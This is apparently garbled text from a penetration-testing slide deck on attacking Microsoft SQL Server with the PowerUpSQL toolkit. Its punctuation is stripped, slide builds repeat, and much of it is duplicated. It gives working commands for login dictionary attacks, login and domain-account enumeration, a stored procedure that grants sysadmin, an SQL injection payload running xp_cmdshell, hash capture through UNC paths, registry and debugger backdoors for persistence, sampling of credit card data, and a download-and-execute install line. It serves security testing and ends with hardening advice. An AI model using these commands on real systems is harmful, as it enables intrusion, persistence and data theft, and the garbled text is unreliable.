AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
